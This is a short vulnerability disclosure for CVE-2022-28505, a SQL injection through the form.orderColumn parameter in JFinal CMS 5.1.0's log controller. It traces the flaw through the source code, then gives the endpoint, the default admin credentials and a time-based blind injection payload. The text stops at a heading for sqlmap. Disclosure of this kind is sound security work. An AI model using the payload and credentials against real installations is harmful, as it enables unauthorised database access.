[CVE-2022-28505] SQL injection vulnerability exists in JFinal CMS 5.1.0

[N1ce759]

SQL injection vulnerability exists in JFinal CMS 5.1.0

Analysis

The vulnerability appears in lines 23-47 of the com.jflyfox.system.log.LogController.java

Here call SQLUtils to query with the following statement:

select count(*)  from sys_log t where 1=1

When the length of model.getAttrValues() is not equal to 0, go into the if branch and call the whereEquals() method to concatenate
whereEquals()：

The SQL statement after concatenation is as follows:

select count(*)  from sys_log t where 1=1 AND t.log_type = 1 

Moving on, the orderBy parameter is concatenated to the end of the SQL statement
String orderBy = getBaseForm().getorDerby (); defines the source of the orderBy argument
getBaseForm():

getOrderBy()：

The orderBy parameter is the form.OrderColumn parameter passed from the front end
So you can construct payload to exploit this vulnerability

Exploit

Maven Startup Environment
Vulnerability address: /jfinal_cms/system/log/list
Administrator login is required. The default account password is admin:admin123

Injection parameters: form.orderColumn
payload：) AND (SELECT 6361 FROM (SELECT(SLEEP(5)))tAVU)-- woqr

SQLMAP Injection：